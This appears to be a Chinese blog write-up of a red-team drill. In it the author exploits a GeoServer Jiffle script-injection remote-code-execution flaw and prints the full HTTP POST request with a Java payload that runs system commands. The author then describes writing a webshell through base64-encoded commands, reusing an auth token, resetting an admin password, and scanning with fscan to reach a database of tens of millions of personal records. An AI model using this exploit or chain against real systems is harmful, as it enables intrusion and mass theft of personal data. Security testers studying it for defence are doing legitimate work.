background

一次地区的hw 规模很小 记录一下主要是这个洞利用起来有点意思 再有就是 这是我hw这么久以来打出的最具有价值的漏洞 几千万的数据 离谱到啥程度呢 直接在里面给我对象奶奶的三要素给查出来了

打点

开局是很朴实无华的弱口令 进的后台 a.com 抓包发现数据是从b.com拉取过来的 后面发现其实cookie也是b.com下发的

直接访问b.com 403 带路径访问也是403 但是我发现路径里有geoserver 于是测一下geoserver的poc 没反应 就没去管了

POST /geoserver/wms HTTP/1.1
Content-Type: application/xml
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xxx.xxx.xxx.xxx
Content-Length: 1967
Expect: 100-continue
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>

后面我发现漏洞实际上是在wms接口产生的 而目标站的wms接口路径是/geoserver/aaa/wms 所以我这里的poc也需要替换掉路径

成功rce ping不通域名 ping114.114.114.114有回显 curl和wget C2都没反应估计是icmp出网且没配置dns 当时我就有点纳闷了 一个与云务器怎么配置的不出网?然后思路全部在打内存马上面了 各站试 感觉网上的内存马都是打CVE-2024-36401的 我这个实际上是cve2022都试了一圈 内存马也没出货 不出网又弹不了shell 只能正向啊 不然无解 后面curl了一下127.0.0.1不通 然后127.0.0.1:8080是tomcat的页面 然后直接从公网访问b.com 403 带着?token=xxx访问就是tomcat的页面 于是我感觉服务实际上是跑在tomcat里面的

find一下logo 确定绝对路径 然后直接一个touch 1.txt 访问直接出货 yes

我一般写shell的思路都是echo 111>1.jsp 但是这里不行了 >被实体化编码了 我一点也不懂java 但是都味到肉香了 肯定不能放弃啊

然后感觉可能是这个的原因

image-20240922134500264

但是poc里写成这样 我是真的不知道怎么修改 于是问了t4哥 直接给我说base64编码 然后甩了个在线工具的地址过来

https://ares-x.com/tools/runtime-exec/

其实这个方法我知道 我用的是国光的在线编码 压根不行啊 但是那一句”哪儿不行”显得那么有底气 然后我仔细想我好像是没用这东西写过文件 只是反弹了shell

image-20240922134923489

然后发现确实可以 getshell了

image-20240922135006306

数据库

目标的拿数据 getshell了之后发现是个docker 然后很多命令都没有 数据库配置肯定在geoserver里 于是访问带着token访问geoserver

跳转后403 他跳哪里我就把哪里手动加上token=xxx 然后是个白页面 实际上是js这些文件也要带token访问 打开拦截js和图片这些 手动加token 十几个包累死我了 然后登录的时候还不断跳404 后面总算是搞好了

image-20240922135338947

直接改密码就进去了 完事再给他改回来

https://www.cnblogs.com/echohye/p/18293261

然后又是一句妈妈nia别

image-20240922135704520

这玩意根本搞不开啊 网上没公开的方法 按照官方的描述这里是可逆的 我感觉肯定也是可逆的 不然怎么连接数据库 hash对hash?那也没意义啊 我也拿hash去连就是了 这不是登录处需要用户输入明文 这是数据库的配置 每一次业务系统调用都要连数据库的 我都shell了 不管你怎么操作 我肯定有办法链数据库的

https://www.osgeo.cn/geoserver-user-manual/security/passwd.html

最后还是放弃了 真的没办法解开 我这里看到了数据库的名称 感觉不会是弱口令 到最后索性放fscan了

直接出货 上数据我发现有几千万数据 我都在震惊了

image-20240922140058733

(这个系统都要鉴权的 shell也是一样 都要?token=xxxx)